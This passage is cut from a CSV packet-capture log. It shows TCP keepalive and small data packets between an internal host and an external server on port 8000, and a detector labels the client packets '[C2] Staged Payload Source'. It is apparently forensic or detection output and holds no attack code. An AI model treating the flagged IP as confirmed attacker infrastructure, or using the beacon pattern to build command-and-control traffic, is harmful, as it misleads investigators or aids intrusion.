\"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:12:40.857562,931,TCP 192.163.167.137:8000 -> 10.152.152.11:64106,192.163.167.137,10.152.152.11,8000,64106,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=578738452 Ack=1283636996,bc2411360d0cbc24112907bb08004500003439d040004006f623c0a3a7890a98980b1f40fa6a227ed9144c82bf048010003f0af700000101050a4c82bf034c82bf04,\".$.6\n..$.)....E..49.@.@..#....\n....@.j\"\"~..L......?\n......\nL...L...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 14800, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 63011, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64106, \"\"seq\"\": 578738452, \"\"ack\"\": 1283636996, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1283636995, 1283636996))]\"\"}}]\"\n2026-07-01 09:12:41.860341,932,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1283636995 Ack=578738452,bc24112907bbbc2411360d0c080045000029b166400080063e980a98980bc0a3a789fa6a1f404c82bf03227ed91450102014642b000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45414, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16024, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283636995, \"\"ack\"\": 578738452, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 25643, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:12:41.860363,933,TCP 192.163.167.137:8000 -> 10.152.152.11:64106,192.163.167.137,10.152.152.11,8000,64106,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=578738452 Ack=1283636996,bc2411360d0cbc24112907bb08004500003439d140004006f622c0a3a7890a98980b1f40fa6a227ed9144c82bf048010003f0af700000101050a4c82bf034c82bf04,\".$.6\n..$.)....E..49.@.@..\"\"....\n....@.j\"\"~..L......?\n......\nL...L...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 14801, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 63010, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64106, \"\"seq\"\": 578738452, \"\"ack\"\": 1283636996, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1283636995, 1283636996))]\"\"}}]\"\n2026-07-01 09:12:42.863119,934,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1283636995 Ack=578738452,bc24112907bbbc2411360d0c080045000029b167400080063e970a98980bc0a3a789fa6a1f404c82bf03227ed91450102014642b000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45415, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16023, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283636995, \"\"ack\"\": 578738452, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 25643, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:12:42.863132,935,TCP 192.163.167.137:8000 -> 10.152.152.11:64106,192.163.167.137,10.152.152.11,8000,64106,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=578738452 Ack=1283636996,bc2411360d0cbc24112907bb08004500003439d240004006f621c0a3a7890a98980b1f40fa6a227ed9144c82bf048010003f0af700000101050a4c82bf034c82bf04,\".$.6\n..$.)....E..49.@.@..!....\n....@.j\"\"~..L......?\n......\nL...L...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 14802, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 63009, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64106, \"\"seq\"\": 578738452, \"\"ack\"\": 1283636996, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1283636995, 1283636996))]\"\"}}]\"\n2026-07-01 09:12:43.865943,936,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1283636995 Ack=578738452,bc24112907bbbc2411360d0c080045000029b168400080063e960a98980bc0a3a789fa6a1f404c82bf03227ed91450102014642b000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45416, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16022, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283636995, \"\"ack\"\": 578738452, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 25643, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:12:43.865977,937,TCP 192.163.167.137:8000 -> 10.152.152.11:64106,192.163.167.137,10.152.152.11,8000,64106,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=578738452 Ack=1283636996,bc2411360d0cbc24112907bb08004500003439d340004006f620c0a3a7890a98980b1f40fa6a227ed9144c82bf048010003f0af700000101050a4c82bf034c82bf04,\".$.6\n..$.)....E..49.@.@.. ....\n....@.j\"\"~..L......?\n......\nL...L...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 14803, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 63008, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64106, \"\"seq\"\": 578738452, \"\"ack\"\": 1283636996, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1283636995, 1283636996))]\"\"}}]\"\n2026-07-01 09:12:44.868738,938,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1283636995 Ack=578738452,bc24112907bbbc2411360d0c080045000029b169400080063e950a98980bc0a3a789fa6a1f404c82bf03227ed91450102014642b000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45417, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16021, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283636995, \"\"ack\"\": 578738452, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 25643, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:12:44.868786,939,TCP 192.163.167.137:8000 -> 10.152.152.11:64106,192.163.167.137,10.152.152.11,8000,64106,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=578738452 Ack=1283636996,bc2411360d0cbc24112907bb08004500003439d440004006f61fc0a3a7890a98980b1f40fa6a227ed9144c82bf048010003f0af700000101050a4c82bf034c82bf04,\".$.6\n..$.)....E..49.@.@.......\n....@.j\"\"~..L......?\n......\nL...L...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 14804, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 63007, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64106, \"\"seq\"\": 578738452, \"\"ack\"\": 1283636996, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1283636995, 1283636996))]\"\"}}]\"\n2026-07-01 09:12:45.788840,940,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=1283636996 Ack=578738452,bc24112907bbbc2411360d0c08004500003db16a400080063e800a98980bc0a3a789fa6a1f404c82bf04227ed91450182014fe6c00001100c0ff1100000001000000789ceb0300008f008f,............x........,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 61, \"\"id\"\": 45418, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16000, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283636996, \"\"ack\"\": 578738452, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 65132, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"1100c0ff1100000001000000789ceb0300008f008f\"\"}}]\"\n2026-07-01 09:12:45.788881,941,TCP 192.163.167.137:8000 -> 10.152.152.11:64106,192.163.167.137,10.152.152.11,8000,64106,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=578738452 Ack=1283637017,bc2411360d0cbc24112907bb08004500002839d540004006f62ac0a3a7890a98980b1f40fa6a227ed9144c82bf195010003f0aeb0000,\".$.6\n..$.)....E..(9.@.@..*....\n....@.j\"\"~..L...P..?\n...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 14805, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 63018, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64106, \"\"seq\"\": 578738452, \"\"ack\"\": 1283637017, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2795, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:12:46.789696,942,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1283637016 Ack=578738452,bc24112907bbbc2411360d0c080045000029b16b400080063e930a98980bc0a3a789fa6a1f404c82bf18227ed914501020146416000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45419, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16019, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283637016, \"\"ack\"\": 578738452, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 25622, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:12:46.789726,943,TCP 192.163.167.137:8000 -> 10.152.152.11:64106,192.163.167.137,10.152.152.11,8000,64106,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=578738452 Ack=1283637017,bc2411360d0cbc24112907bb08004500003439d640004006f61dc0a3a7890a98980b1f40fa6a227ed9144c82bf198010003f0af700000101050a4c82bf184c82bf19,\".$.6\n..$.)....E..49.@.@.......\n....@.j\"\"~..L......?\n......\nL...L...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 14806, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 63005, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64106, \"\"seq\"\": 578738452, \"\"ack\"\": 1283637017, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1283637016, 1283637017))]\"\"}}]\"\n2026-07-01 09:12:47.792507,944,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1283637016 Ack=578738452,bc24112907bbbc2411360d0c080045000029b16c400080063e920a98980bc0a3a789fa6a1f404c82bf18227ed914501020146416000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45420, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16018, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283637016, \"\"ack\"\": 578738452, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 25622, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:12:47.792529,945,TCP 192.163.167.137:8000 -> 10.152.152.11:64106,192.163.167.137,10.152.152.11,8000,64106,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=578738452 Ack=1283637017,bc2411360d0cbc24112907bb08004500003439d740004006f61cc0a3a7890a98980b1f40fa6a227ed9144c82bf198010003f0af700000101050a4c82bf184c82bf19,\".$.6\n..$.)....E..49.@.@.......\n....@.j\"\"~..L......?\n......\nL...L...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 14807, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 63004, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64106, \"\"seq\"\": 578738452, \"\"ack\"\": 1283637017, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1283637016, 1283637017))]\"\"}}]\"\n2026-07-01 09:12:48.795330,946,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1283637016 Ack=578738452,bc24112907bbbc2411360d0c080045000029b16d400080063e910a98980bc0a3a789fa6a1f404c82bf18227ed914501020146416000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45421, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16017, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283637016, \"\"ack\"\": 578738452, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 25622, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:12:48.795352,947,TCP 192.163.167.137:8000 -> 10.152.152.11:64106,192.163.167.137,10.152.152.11,8000,64106,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=578738452 Ack=1283637017,bc2411360d0cbc24112907bb08004500003439d840004006f61bc0a3a7890a98980b1f40fa6a227ed9144c82bf198010003f0af700000101050a4c82bf184c82bf19,\".$.6\n..$.)....E..49.@.@.......\n....@.j\"\"~..L......?\n......\nL...L...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 14808, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 63003, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64106, \"\"seq\"\": 578738452, \"\"ack\"\": 1283637017, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": 